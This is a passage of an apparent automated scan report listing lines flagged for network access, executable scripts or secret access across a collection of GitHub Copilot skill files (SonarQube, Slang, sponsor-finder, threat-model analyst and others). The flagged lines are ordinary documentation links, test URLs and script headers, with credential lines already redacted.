}else{ fetch('/feedback',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify(payload)}) .then(()=>alert('Feedback saved. You can return to the assistant.')) - Network accessline 101
fetch('/feedback',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify(payload)}) - Network accessline 198
with socketserver.TCPServer(("127.0.0.1", port), Handler) as httpd: url = f"http://127.0.0.1:{port}/" - Network accessline 199
url = f"http://127.0.0.1:{port}/"
harness/github-copilot/skills/skill-creator/scripts/test_validate_skill.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/skills/skill-creator/scripts/validate_skill.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/skills/slang-shader-engineer/references/language-reference.md
- Network accessline 3
**Source:** [Official Slang Shader Repository](https://github.com/shader-slang/slang "Slang Shader repository") - Network accessline 4
**Official Docs:** [Official Slang Shader Online Documentation](https://shader-slang.com/slang/user-guide/ "Slang Shader Online documentation") - Network accessline 5
**Playground:** [Official Slang Shader Sandbox](https://shader-slang.com/slang-playground)
harness/github-copilot/skills/slang-shader-engineer/references/slang-documentation-full.md
- Network accessline 3
Source: [Official Slang Shader Repository](https://github.com/shader-slang/slang "Slang Shader repository") - Network accessline 1311
git clone https://github.com/shader-slang/slang --recursive - Network accessline 1347
# Install and activate Emscripten git clone https://github.com/emscripten-core/emsdk.git - Network accessline 1348
git clone https://github.com/emscripten-core/emsdk.git - Network accessline 1479
Source: [Slang Shader repository docs](https://github.com/shader-slang/slang/tree/master/docs)
harness/github-copilot/skills/snowflake-semanticview/SKILL.md
- Network accessline 130
- [Snowflake CLI installation](https://docs.snowflake.com/en/developer-guide/snowflake-cli/installation/installation) - Network accessline 131
- [Configure Snowflake CLI connections](https://docs.snowflake.com/en/developer-guide/snowflake-cli/connecting/configure-connections#add-a-connection) - Network accessline 132
- [CREATE SEMANTIC VIEW](https://docs.snowflake.com/en/sql-reference/sql/create-semantic-view) - Network accessline 133
- [COMMENT command](https://docs.snowflake.com/en/sql-reference/sql/comment) - Network accessline 134
- [Querying a semantic view](https://docs.snowflake.com/en/user-guide/views-semantic/querying#querying-a-semantic-view)
harness/github-copilot/skills/sonarqube-api-query/SKILL.md
- Network accessline 161
- [SonarQube Server Web API](https://docs.sonarsource.com/sonarqube-server/extension-guide/web-api) - Network accessline 162
- [SonarQube Cloud Web API](https://docs.sonarsource.com/sonarqube-cloud/appendices/web-api) - Network accessline 163
- [Official SonarQube agent plugins](https://github.com/SonarSource/sonarqube-agent-plugins)
harness/github-copilot/skills/sonarqube-api-query/references/web-api.md
- Network accessline 9
- SonarQube Server Web API documentation: <https://docs.sonarsource.com/sonarqube-server/extension-guide/web-api> - Network accessline 10
- SonarQube Cloud Web API documentation: <https://docs.sonarsource.com/sonarqube-cloud/appendices/web-api> - Network accessline 11
- SonarQube Server public endpoint metadata: <https://next.sonarqube.com/sonarqube/api/webservices/list> - Network accessline 12
- SonarQube Cloud EU endpoint metadata: <https://sonarcloud.io/api/webservices/list> - Network accessline 18
| Target | Web API v1 base URL | | --- | --- | | Self-hosted SonarQube Server | The instance root, including any context path, such as `https://sonarqube.example.com` or `https://example.com/sonarqube`. | - Network accessline 19
| --- | --- | | Self-hosted SonarQube Server | The instance root, including any context path, such as `https://sonarqube.example.com` or `https://example.com/sonarqube`. | | SonarQube Cloud EU | `https://sonarcloud.io` | - Network accessline 20
| Self-hosted SonarQube Server | The instance root, including any context path, such as `https://sonarqube.example.com` or `https://example.com/sonarqube`. | - Network accessline 21
| SonarQube Cloud EU | `https://sonarcloud.io` | - Network accessline 22
| SonarQube Cloud US | `https://sonarqube.us` | - Access to secretsline 29
[Credential-related source omitted] - Network accessline 32
- The `X-Sonar-Passcode` scheme is for specific monitoring operations and is not supported by the bundled helper. - A response may include `SonarQube-Authentication-Token-Expiration`; report it without exposing the token. - Allow `http://` - Network accessline 34
- Allow `http://` only when the selected local or internal instance actually uses it. Prefer HTTPS for remote instances.
harness/github-copilot/skills/sonarqube-api-query/scripts/sonarqube_query.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 208
[Credential-related source omitted] - Network accessline 209
timeout: int, opener: Callable[..., Any] = urllib.request.urlopen, ) -> HttpResult: - Network accessline 210
opener: Callable[..., Any] = urllib.request.urlopen, - Network accessline 218
raise QueryError("token environment variable contains invalid newline characters") headers["Authorization"] = f"Bearer {token}" request = urllib.request.Request( - Network accessline 219
headers["Authorization"] = f"Bearer {token}" request = urllib.request.Request( request_url(base_url, endpoint, parameters), - Network accessline 220
request = urllib.request.Request( - Access to secretsline 755
[Credential-related source omitted] - Access to secretsline 756
[Credential-related source omitted] - Access to secretsline 760
[Credential-related source omitted] - Access to secretsline 854
[Credential-related source omitted]
harness/github-copilot/skills/sonarqube-api-query/scripts/test_sonarqube_query.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 59
def test_base_url_preserves_context_path_and_rejects_credentials(self): self.assertEqual( normalize_base_url("https://example.test/sonarqube/"), - Network accessline 60
self.assertEqual( normalize_base_url("https://example.test/sonarqube/"), "https://example.test/sonarqube", - Network accessline 61
normalize_base_url("https://example.test/sonarqube/"), - Network accessline 62
"https://example.test/sonarqube", - Network accessline 63
) with self.assertRaisesRegex(QueryError, "must not contain credentials"): normalize_base_url("https://user:secret@example.test") - Network accessline 64
with self.assertRaisesRegex(QueryError, "must not contain credentials"): normalize_base_url("https://user:secret@example.test") with self.assertRaisesRegex(QueryError, "query string"): - Network accessline 65
normalize_base_url("https://user:secret@example.test") - Network accessline 67
[Credential-related source omitted] - Network accessline 94
[ "--base-url", "https://example.test", - Network accessline 95
"--base-url", "https://example.test", "issues", - Network accessline 96
"https://example.test", - Network accessline 131
[ "--base-url", "https://example.test", - Network accessline 132
"--base-url", "https://example.test", "projects", - Network accessline 133
"https://example.test", - Network accessline 155
[ "--base-url", "https://sonarcloud.io", - Network accessline 156
"--base-url", "https://sonarcloud.io", "--organization", - Network accessline 157
"https://sonarcloud.io", - Network accessline 192
[ "--base-url", "https://sonarcloud.io", - Network accessline 193
"--base-url", "https://sonarcloud.io", "hotspots", - Network accessline 194
"https://sonarcloud.io", - Network accessline 227
result = http_get( "https://example.test/sonarqube", - Network accessline 228
"https://example.test/sonarqube", - Network accessline 258
with self.assertRaisesRegex(QueryError, "Retry-After: 60"): http_get( "https://sonarcloud.io", - Network accessline 259
http_get( "https://sonarcloud.io", "/api/projects/search", - Network accessline 260
"https://sonarcloud.io", - Network accessline 289
result = execute_spec( spec, "https://example.test", - Network accessline 290
spec, "https://example.test", None, - Network accessline 291
"https://example.test", - Network accessline 322
result = execute_spec( spec, "https://example.test", - Network accessline 323
spec, "https://example.test", None, - Network accessline 324
"https://example.test", - Network accessline 356
result = execute_spec( spec, "https://example.test", - Network accessline 357
spec, "https://example.test", None, - Network accessline 358
"https://example.test", - Network accessline 391
result = execute_spec( spec, "https://example.test", - Network accessline 392
spec, "https://example.test", None, - Network accessline 393
"https://example.test",
harness/github-copilot/skills/sponsor-finder/SKILL.md
- Network accessline 57
https://api.deps.dev/v3/systems/{ECOSYSTEM}/packages/{PACKAGE}/versions/{VERSION}:dependencies - Network accessline 62
https://api.deps.dev/v3/systems/npm/packages/express/versions/5.2.1:dependencies - Network accessline 87
https://api.deps.dev/v3/systems/{ECOSYSTEM}/packages/{NAME}/versions/{VERSION} - Network accessline 108
https://api.deps.dev/v3/projects/github.com%2F{owner}%2F{repo} - Network accessline 133
### 5a: npm `funding` field (npm ecosystem only) Use `web_fetch` on `https://registry.npmjs.org/{package-name}/latest` and check for a `funding` field: - Network accessline 134
Use `web_fetch` on `https://registry.npmjs.org/{package-name}/latest` and check for a `funding` field: - Network accessline 135
- **String: ** `"https://github.com/sponsors/sindresorhus"` → use as URL - Network accessline 136
- **Object: ** `{"type": "opencollective", "url": "https://opencollective.com/express"}` → use `url` - Network accessline 148
GitHub supports a [default community health files](https://docs.github.com/en/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file) convention: a `.github` repository at the user/org level p - Network accessline 152
Parse the YAML (same for both 5b-i and 5b-ii): - `github: [username]` → `https://github.com/sponsors/{username}` - Network accessline 153
- `github: [username]` → `https://github.com/sponsors/{username}` - Network accessline 154
- `open_collective: slug` → `https://opencollective.com/{slug}` - Network accessline 155
- `ko_fi: username` → `https://ko-fi.com/{username}` - Network accessline 156
- `patreon: username` → `https://patreon.com/{username}` - Network accessline 157
- `tidelift: platform/package` → `https://tidelift.com/subscription/pkg/{platform-package}` - Network accessline 249
1.**@{user}**— {N} direct + {M} transitive deps · Maintained {dep1}, {dep2}, {dep3}, ... https://github.com/sponsors/{user} - Network accessline 251
https://github.com/sponsors/{user} - Network accessline 253
2.**Open Collective: {name}**— {N} direct + {M} transitive deps · Maintained {dep1}, {dep2}, {dep3}, ... https://opencollective.com/{name} - Network accessline 255
https://opencollective.com/{name} - Network accessline 257
3.**@{user2}**— {N} direct dep · Low activity {dep1} https://github.com/sponsors/{user2} - Network accessline 259
https://github.com/sponsors/{user2}
harness/github-copilot/skills/spring-boot-testing/references/instancio.md
harness/github-copilot/skills/spring-boot-testing/references/restclienttest.md
- Network accessline 40
void shouldFetchWeather() { // Given server.expect(requestTo("https://api.weather.com/v1/current")) - Network accessline 41
// Given server.expect(requestTo("https://api.weather.com/v1/current")) .andExpect(method(HttpMethod.GET)) - Network accessline 42
server.expect(requestTo("https://api.weather.com/v1/current")) - Network accessline 71
@Test void shouldFetchWeatherWithRestClient() { server.expect(requestTo("https://api.weather.com/v1/current")) - Network accessline 72
void shouldFetchWeatherWithRestClient() { server.expect(requestTo("https://api.weather.com/v1/current")) .andRespond(withSuccess() - Network accessline 73
server.expect(requestTo("https://api.weather.com/v1/current")) - Network accessline 89
server.expect(requestTo("https://api.example.com/users/1")) - Network accessline 96
server.expect(requestTo(matchesPattern("https://api.example.com/users/\\d+"))) - Network accessline 103
server.expect(ExpectedCount.once(), requestTo("https://api.example.com/users")) - Network accessline 104
requestTo("https://api.example.com/users")) - Network accessline 112
server.expect(requestTo("https://api.example.com/users")) - Network accessline 121
server.expect(requestTo("https://api.example.com/users")) - Network accessline 173
void shouldCallApi() { server.expect(ExpectedCount.once(), requestTo("https://api.example.com/data")) - Network accessline 174
server.expect(ExpectedCount.once(), requestTo("https://api.example.com/data")) .andRespond(withSuccess()); - Network accessline 175
requestTo("https://api.example.com/data"))
harness/github-copilot/skills/sql-server-table-reconciliation/SKILL.md
- Access to secretsline 86
[Credential-related source omitted]
harness/github-copilot/skills/sql-server-table-reconciliation/scripts/reconcile.py
harness/github-copilot/skills/steno-mode/SKILL.md
- Access to secretsline 45
[Credential-related source omitted]
harness/github-copilot/skills/suggest-awesome-github-copilot-agents/SKILL.md
- Network accessline 21
Use web access to read the awesome-copilot catalog and raw agent files. The catalog is at `https://github.com/github/awesome-copilot/blob/main/docs/README.agents.md`; agent files are under `https://github.com/github/awesome-copilot/tree/mai - Network accessline 27
1. Fetch the available custom agent list and descriptions from `https://github.com/github/awesome-copilot/blob/main/docs/README.agents.md`. - Network accessline 28
2. List every local `.github/agents/*.agent.md` file. 3. Read local frontmatter and body to inventory descriptions, tools, and instructions. 4. For each local filename that appears likely to exist upstream, fetch `https://raw.githubusercont - Network accessline 29
3. Read local frontmatter and body to inventory descriptions, tools, and instructions. 4. For each local filename that appears likely to exist upstream, fetch `https://raw.githubusercontent.com/github/awesome-copilot/main/agents/{filename}` - Network accessline 30
4. For each local filename that appears likely to exist upstream, fetch `https://raw.githubusercontent.com/github/awesome-copilot/main/agents/{filename}`. - Network accessline 74
| Awesome-Copilot Custom Agent | Description | Already Installed | Similar Local Custom Agent | Suggestion Rationale | | --- | --- | --- | --- | --- | | [amplitude-experiment-implementation.agent.md](https://github.com/github/awesome-copilo - Network accessline 75
| --- | --- | --- | --- | --- | | [amplitude-experiment-implementation.agent.md](https://github.com/github/awesome-copilot/blob/main/agents/amplitude-experiment-implementation.agent.md) | This custom agent uses Amplitude's MCP tools to depl - Network accessline 76
| [amplitude-experiment-implementation.agent.md](https://github.com/github/awesome-copilot/blob/main/agents/amplitude-experiment-implementation.agent.md) | This custom agent uses Amplitude's MCP tools to deploy new experiments inside of Amp - Network accessline 77
| [launchdarkly-flag-cleanup.agent.md](https://github.com/github/awesome-copilot/blob/main/agents/launchdarkly-flag-cleanup.agent.md) | Feature flag cleanup agent for LaunchDarkly | Yes | `launchdarkly-flag-cleanup.agent.md` | Already cover - Network accessline 78
| [principal-software-engineer.agent.md](https://github.com/github/awesome-copilot/blob/main/agents/principal-software-engineer.agent.md) | Provide principal-level software engineering guidance with focus on engineering excellence, technica - Network accessline 94
| Awesome-Copilot Custom Agent | Description | Already Installed | Similar Local Custom Agent | Suggestion Rationale | | --- | --- | --- | --- | --- | | `[agent-name.agent.md](https://github.com/github/awesome-copilot/blob/main/agents/agent - Network accessline 96
| `[agent-name.agent.md](https://github.com/github/awesome-copilot/blob/main/agents/agent-name.agent.md)` | `<description>` | `No | Yes | Outdated` | `<local filename or None>` | `<why it fits, duplicate rationale, or specific outdated diff - Network accessline 101
- [ ] The awesome-copilot README agents catalog was fetched from `https://github.com/github/awesome-copilot/blob/main/docs/README.agents.md`. - Network accessline 102
- [ ] Local `.github/agents/*.agent.md` files were listed and their frontmatter descriptions were read. - [ ] Remote versions were fetched from `https://raw.githubusercontent.com/github/awesome-copilot/main/agents/{filename}` for comparable - Network accessline 103
- [ ] Remote versions were fetched from `https://raw.githubusercontent.com/github/awesome-copilot/main/agents/{filename}` for comparable local agents. - Network accessline 111
- [Awesome Copilot agents catalog](https://github.com/github/awesome-copilot/blob/main/docs/README.agents.md) - Network accessline 112
- [Awesome Copilot agents folder](https://github.com/github/awesome-copilot/tree/main/agents)
harness/github-copilot/skills/suggest-awesome-github-copilot-instructions/SKILL.md
- Network accessline 21
- Read local instruction files from `.github/instructions/` and repository-wide instructions from `.github/copilot-instructions.md` when present. - Fetch the catalog from <https://github.com/github/awesome-copilot/blob/main/docs/README.inst - Network accessline 22
- Fetch the catalog from <https://github.com/github/awesome-copilot/blob/main/docs/README.instructions.md>. - Network accessline 23
- Fetch remote instruction versions with raw URLs: `https://raw.githubusercontent.com/github/awesome-copilot/main/instructions/{filename}`. - Network accessline 29
2. Discover local `*.instructions.md` files in `.github/instructions/` and, when relevant, community `instructions/` files. 3. Read YAML front matter from local files to extract `description` and `applyTo` patterns. 4. For each local file t - Network accessline 30
3. Read YAML front matter from local files to extract `description` and `applyTo` patterns. 4. For each local file that corresponds to an awesome-copilot file, fetch the raw remote version using `https://raw.githubusercontent.com/github/awe - Network accessline 31
4. For each local file that corresponds to an awesome-copilot file, fetch the raw remote version using `https://raw.githubusercontent.com/github/awesome-copilot/main/instructions/{filename}`. - Network accessline 79
| Awesome-Copilot Instruction | Description | Already Installed | Similar Local Instruction | Suggestion Rationale | | --- | --- | --- | --- | --- | | [blazor.instructions.md](https://github.com/github/awesome-copilot/blob/main/instructions - Network accessline 80
| --- | --- | --- | --- | --- | | [blazor.instructions.md](https://github.com/github/awesome-copilot/blob/main/instructions/blazor.instructions.md) | Blazor development guidelines | Yes | `blazor.instructions.md` | Already covered by existi - Network accessline 81
| [blazor.instructions.md](https://github.com/github/awesome-copilot/blob/main/instructions/blazor.instructions.md) | Blazor development guidelines | Yes | `blazor.instructions.md` | Already covered by existing Blazor instructions. | - Network accessline 82
| [pcf-react-platform-libraries.instructions.md](https://github.com/github/awesome-copilot/blob/main/instructions/pcf-react-platform-libraries.instructions.md) | ReactJS development standards | No | None | Would enhance React development wi - Network accessline 83
| [java-junit5-assertions.instructions.md](https://github.com/github/awesome-copilot/blob/main/instructions/java-junit5-assertions.instructions.md) | Java development best practices | Outdated | `java-junit5-assertions.instructions.md` | `a - Network accessline 111
| Local file | Remote file | Key differences | Recommendation | | --- | --- | --- | --- | | `.github/instructions/<file>.instructions.md` | `https://raw.githubusercontent.com/github/awesome-copilot/main/instructions/{filename}` | <descripti - Network accessline 113
| `.github/instructions/<file>.instructions.md` | `https://raw.githubusercontent.com/github/awesome-copilot/main/instructions/{filename}` | <description/applyTo/content differences> | update | keep | - Network accessline 121
- [ ] The awesome-copilot catalog at <https://github.com/github/awesome-copilot/blob/main/docs/README.instructions.md> was checked. - Network accessline 122
- [ ] Local `.github/instructions/` files were inventoried, including `description` and `applyTo`. - [ ] Remote raw versions were fetched for comparable local files using `https://raw.githubusercontent.com/github/awesome-copilot/main/instru - Network accessline 123
- [ ] Remote raw versions were fetched for comparable local files using `https://raw.githubusercontent.com/github/awesome-copilot/main/instructions/{filename}`. - Network accessline 131
- [Awesome Copilot instructions catalog](https://github.com/github/awesome-copilot/blob/main/docs/README.instructions.md) - Network accessline 132
- [Blazor instruction example](https://github.com/github/awesome-copilot/blob/main/instructions/blazor.instructions.md) - Network accessline 133
- [PCF React platform libraries instruction example](https://github.com/github/awesome-copilot/blob/main/instructions/pcf-react-platform-libraries.instructions.md) - Network accessline 134
- [Java JUnit 5 assertions instruction example](https://github.com/github/awesome-copilot/blob/main/instructions/java-junit5-assertions.instructions.md) - Network accessline 135
- [Raw instruction URL pattern](https://raw.githubusercontent.com/github/awesome-copilot/main/instructions/{filename})
harness/github-copilot/skills/suggest-awesome-github-copilot-skills/SKILL.md
- Network accessline 21
- Remote catalog: https://github.com/github/awesome-copilot/blob/main/docs/README.skills.md. - Remote skill folders live under https://github.com/github/awesome-copilot/tree/main/skills. - Use `web_fetch` for README and raw `SKILL.md` files - Network accessline 22
- Remote skill folders live under https://github.com/github/awesome-copilot/tree/main/skills. - Use `web_fetch` for README and raw `SKILL.md` files. Use `execute/bash` with `curl` only when a bundled asset cannot be retrieved completely thr - Network accessline 30
1. Fetch the available skill list and descriptions from https://github.com/github/awesome-copilot/blob/main/docs/README.skills.md. - Network accessline 32
3. For each local folder, read `SKILL.md` front matter and extract `name` and `description`. 4. List bundled assets in each local skill folder. 5. For each local skill that appears in awesome-copilot, fetch the remote raw file at `https://r - Network accessline 33
4. List bundled assets in each local skill folder. 5. For each local skill that appears in awesome-copilot, fetch the remote raw file at `https://raw.githubusercontent.com/github/awesome-copilot/main/skills/{skill-name}/SKILL.md`. 6. Compar - Network accessline 34
5. For each local skill that appears in awesome-copilot, fetch the remote raw file at `https://raw.githubusercontent.com/github/awesome-copilot/main/skills/{skill-name}/SKILL.md`. - Network accessline 66
https://raw.githubusercontent.com/github/awesome-copilot/main/skills/{skill-name}/SKILL.md - Network accessline 71
- https://github.com/github/awesome-copilot/tree/main/skills/gh-attach - Network accessline 72
- https://github.com/github/awesome-copilot/tree/main/skills/aspire - Network accessline 73
- https://github.com/github/awesome-copilot/tree/main/skills/terraform-azurerm-set-diff-analyzer - Network accessline 99
| Awesome-Copilot Skill | Description | Bundled Assets | Already Installed | Similar Local Skill | Suggestion Rationale | | --- | --- | --- | --- | --- | --- | | [gh-attach](https://github.com/github/awesome-copilot/tree/main/skills/gh-atta - Network accessline 100
| --- | --- | --- | --- | --- | --- | | [gh-attach](https://github.com/github/awesome-copilot/tree/main/skills/gh-attach) | GitHub CLI skill for managing repositories and workflows | None | No | None | Would enhance GitHub workflow automati - Network accessline 101
| [gh-attach](https://github.com/github/awesome-copilot/tree/main/skills/gh-attach) | GitHub CLI skill for managing repositories and workflows | None | No | None | Would enhance GitHub workflow automation capabilities | - Network accessline 102
| [aspire](https://github.com/github/awesome-copilot/tree/main/skills/aspire) | Aspire skill for distributed application development | 9 reference files | Yes | aspire | Already covered by existing Aspire skill | - Network accessline 103
| [terraform-azurerm-set-diff-analyzer](https://github.com/github/awesome-copilot/tree/main/skills/terraform-azurerm-set-diff-analyzer) | Analyze Terraform AzureRM provider changes | Reference files | Outdated | terraform-azurerm-set-diff-a - Network accessline 114
- [ ] The awesome-copilot README skills catalog was fetched from https://github.com/github/awesome-copilot/blob/main/docs/README.skills.md. - Network accessline 124
- [awesome-copilot skills README](https://github.com/github/awesome-copilot/blob/main/docs/README.skills.md) - Network accessline 125
- [awesome-copilot skills folder](https://github.com/github/awesome-copilot/tree/main/skills) - Network accessline 126
- [gh-attach skill](https://github.com/github/awesome-copilot/tree/main/skills/gh-attach) - Network accessline 127
- [aspire skill](https://github.com/github/awesome-copilot/tree/main/skills/aspire) - Network accessline 128
- [terraform-azurerm-set-diff-analyzer skill](https://github.com/github/awesome-copilot/tree/main/skills/terraform-azurerm-set-diff-analyzer)
harness/github-copilot/skills/swift-mcp-server-generator/references/project-templates.md
- Network accessline 20
dependencies: [ .package( url: "https://github.com/modelcontextprotocol/swift-sdk.git", - Network accessline 21
.package( url: "https://github.com/modelcontextprotocol/swift-sdk.git", from: "0.10.0" - Network accessline 22
url: "https://github.com/modelcontextprotocol/swift-sdk.git", - Network accessline 24
), .package( url: "https://github.com/apple/swift-log.git", - Network accessline 25
.package( url: "https://github.com/apple/swift-log.git", from: "1.5.0" - Network accessline 26
url: "https://github.com/apple/swift-log.git", - Network accessline 28
), .package( url: "https://github.com/swift-server/swift-service-lifecycle.git", - Network accessline 29
.package( url: "https://github.com/swift-server/swift-service-lifecycle.git", from: "2.0.0" - Network accessline 30
url: "https://github.com/swift-server/swift-service-lifecycle.git", - Network accessline 573
The server uses: - [MCP Swift SDK](https://github.com/modelcontextprotocol/swift-sdk) - MCP protocol implementation - Network accessline 574
- [MCP Swift SDK](https://github.com/modelcontextprotocol/swift-sdk) - MCP protocol implementation - Network accessline 575
- [swift-log](https://github.com/apple/swift-log) - Structured logging - Network accessline 576
- [swift-service-lifecycle](https://github.com/swift-server/swift-service-lifecycle) - Graceful shutdown
harness/github-copilot/skills/terraform-azurerm-set-diff-analyzer/SKILL.md
harness/github-copilot/skills/terraform-azurerm-set-diff-analyzer/references/azurerm_set_attributes.md
- Network accessline 74
1. **Check Official Documentation** - Search for the resource in [Terraform Registry](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs) - Network accessline 75
- Search for the resource in [Terraform Registry](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs) - Network accessline 79
2. **Check Source Code (more reliable)** - Search for the resource in [AzureRM Provider GitHub](https://github.com/hashicorp/terraform-provider-azurerm) - Network accessline 80
- Search for the resource in [AzureRM Provider GitHub](https://github.com/hashicorp/terraform-provider-azurerm)
harness/github-copilot/skills/terraform-azurerm-set-diff-analyzer/scripts/.gitignore
harness/github-copilot/skills/terraform-azurerm-set-diff-analyzer/scripts/analyze_plan.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/skills/test-data-management/SKILL.md
- Network accessline 133
- [NIST SP 800-188: De-Identifying Government Datasets](https://csrc.nist.gov/pubs/sp/800/188/final) - Network accessline 134
- [GDPR Recital 26: anonymous information](https://gdpr-info.eu/recitals/no-26/) - Network accessline 135
- [Test Data Builder pattern](https://www.natpryce.com/articles/000714.html)
harness/github-copilot/skills/threat-model-analyst/references/analysis-principles.md
- Network accessline 184
Reference: https://owasp.org/Top10/2025/ - Network accessline 387
### SDL Bugbar Severity Classify each finding per: https://www.microsoft.com/en-us/msrc/sdlbugbar - Network accessline 388
Classify each finding per: https://www.microsoft.com/en-us/msrc/sdlbugbar - Network accessline 390
### CVSS 4.0 Score Use CVSS v4.0 Base score (0.0-10.0) with vector string. Reference: https://www.first.org/cvss/v4.0/specification-document - Network accessline 392
Reference: https://www.first.org/cvss/v4.0/specification-document - Network accessline 394
### CWE Assign Common Weakness Enumeration ID and name. Reference: https://cwe.mitre.org/ - Network accessline 396
Reference: https://cwe.mitre.org/ - Network accessline 399
Map to OWASP Top 10:2025 category if applicable (A01-A10). **ALWAYS use `:2025` suffix** (e.g., `A01:2025`), never `:2021`. Reference: https://owasp.org/Top10/2025/ - Network accessline 401
Reference: https://owasp.org/Top10/2025/
harness/github-copilot/skills/threat-model-analyst/references/orchestrator.md
- Network accessline 50
20. **Deployment Classification is BINDING.** In `0.1-architecture.md`, set `Deployment Classification` and fill the Component Exposure Table. If classification is `LOCALHOST_DESKTOP` or `LOCALHOST_SERVICE`: zero T1 findings, zero `Prerequi - Network accessline 51
21. Finding IDs MUST be sequential top-to-bottom: FIND-01, FIND-02, FIND-03... Renumber after sorting 22. CWE MUST include hyperlink: `[CWE-306](https://cwe.mitre.org/data/definitions/306.html): Missing Authentication` 23. After STRIDE, run - Network accessline 52
22. CWE MUST include hyperlink: `[CWE-306](https://cwe.mitre.org/data/definitions/306.html): Missing Authentication`
harness/github-copilot/skills/threat-model-analyst/references/output-formats.md
- Network accessline 369
| SDL Bugbar Severity | Critical / Important / Moderate / Low | | CVSS 4.0 | Score AND full vector string (e.g., `9.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)`) — BOTH are mandatory | | CWE | ID, name, AND hyperlink - Network accessline 370
| CVSS 4.0 | Score AND full vector string (e.g., `9.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)`) — BOTH are mandatory | | CWE | ID, name, AND hyperlink (e.g., `[CWE-306](https://cwe.mitre.org/data/definitions/306.ht - Network accessline 371
| CWE | ID, name, AND hyperlink (e.g., `[CWE-306](https://cwe.mitre.org/data/definitions/306.html): Missing Authentication for Critical Function`) | - Network accessline 387
| SDL Bugbar Severity | Critical | | CVSS 4.0 | 9.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) | | CWE | [CWE-306](https://cwe.mitre.org/data/definitions/306.html): Missing Authentication for Critical Function | - Network accessline 388
| CVSS 4.0 | 9.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) | | CWE | [CWE-306](https://cwe.mitre.org/data/definitions/306.html): Missing Authentication for Critical Function | | OWASP | A07:2025 – Authentication Fail - Network accessline 389
| CWE | [CWE-306](https://cwe.mitre.org/data/definitions/306.html): Missing Authentication for Critical Function | - Network accessline 614
| Standard | URL | How Used | |----------|-----|----------| | Microsoft SDL Bug Bar | https://www.microsoft.com/en-us/msrc/sdlbugbar | Severity classification | - Network accessline 615
|----------|-----|----------| | Microsoft SDL Bug Bar | https://www.microsoft.com/en-us/msrc/sdlbugbar | Severity classification | | OWASP Top 10:2025 | https://owasp.org/Top10/2025/ | Threat categorization | - Network accessline 616
| Microsoft SDL Bug Bar | https://www.microsoft.com/en-us/msrc/sdlbugbar | Severity classification | - Network accessline 617
| OWASP Top 10:2025 | https://owasp.org/Top10/2025/ | Threat categorization | - Network accessline 618
| CVSS 4.0 | https://www.first.org/cvss/v4.0/specification-document | Risk scoring | - Network accessline 619
| CWE | https://cwe.mitre.org/ | Weakness classification | - Network accessline 620
| STRIDE | https://learn.microsoft.com/en-us/azure/security/develop/threat-modeling-tool-threats | Threat enumeration methodology | - Network accessline 621
| NIST SP 800-53 Rev. 5 | https://csrc.nist.gov/pubs/sp/800/53/r5/upd1/final | Control mapping | - Network accessline 624
| Component | Documentation URL | Relevant Section | |-----------|------------------|------------------| | [e.g., Dapr] | [e.g., https://docs.dapr.io/operations/security/] | [e.g., mTLS configuration] | - Network accessline 625
|-----------|------------------|------------------| | [e.g., Dapr] | [e.g., https://docs.dapr.io/operations/security/] | [e.g., mTLS configuration] | | [e.g., Redis] | [e.g., https://redis.io/docs/management/security/] | [e.g., Authenticati - Network accessline 626
| [e.g., Dapr] | [e.g., https://docs.dapr.io/operations/security/] | [e.g., mTLS configuration] | - Network accessline 627
| [e.g., Redis] | [e.g., https://redis.io/docs/management/security/] | [e.g., Authentication] | - Network accessline 630
**Processing Rules:** 1. Always include the Security Standards table — populate with actual standards consulted 2. Every row MUST have a full URL (https://{example-url}) — never omit the URL column - Network accessline 631
1. Always include the Security Standards table — populate with actual standards consulted 2. Every row MUST have a full URL (https://{example-url}) — never omit the URL column 3. Populate Component Documentation with technologies actually c - Network accessline 632
2. Every row MUST have a full URL (https://{example-url}) — never omit the URL column - Network accessline 709
21. Skipping `## Report Files`, `## References Consulted`, or `## Report Metadata` → ALL 7 sections in 0-assessment.md are MANDATORY. Never omit any. 22. Finding IDs out of order (FIND-06 before FIND-04) → Finding IDs MUST be sequential - Network accessline 710
22. Finding IDs out of order (FIND-06 before FIND-04) → Finding IDs MUST be sequential top-to-bottom: FIND-01, FIND-02, FIND-03, ... Renumber after sorting. 23. CWE without hyperlink → CWE MUST include hyperlink: `[CWE-306](https://cwe. - Network accessline 711
23. CWE without hyperlink → CWE MUST include hyperlink: `[CWE-306](https://cwe.mitre.org/data/definitions/306.html): Missing Authentication for Critical Function` - Network accessline 732
"branch": "main", "analysis_timestamp": "2025-08-15T14:30:00Z", "repository": "https://github.com/org/repo", - Network accessline 733
"analysis_timestamp": "2025-08-15T14:30:00Z", "repository": "https://github.com/org/repo", "report_folder": "threat-model-20250815-143000", - Network accessline 734
"repository": "https://github.com/org/repo", - Access to secretsline 948
[Credential-related source omitted]
harness/github-copilot/skills/threat-model-analyst/references/skeletons/skeleton-assessment.md
- Network accessline 191
| Standard | URL | How Used | |----------|-----|----------| | Microsoft SDL Bug Bar | https://www.microsoft.com/en-us/msrc/sdlbugbar | Severity classification | - Network accessline 192
|----------|-----|----------| | Microsoft SDL Bug Bar | https://www.microsoft.com/en-us/msrc/sdlbugbar | Severity classification | | OWASP Top 10:2025 | https://owasp.org/Top10/2025/ | Threat categorization | - Network accessline 193
| Microsoft SDL Bug Bar | https://www.microsoft.com/en-us/msrc/sdlbugbar | Severity classification | - Network accessline 194
| OWASP Top 10:2025 | https://owasp.org/Top10/2025/ | Threat categorization | - Network accessline 195
| CVSS 4.0 | https://www.first.org/cvss/v4.0/specification-document | Risk scoring | - Network accessline 196
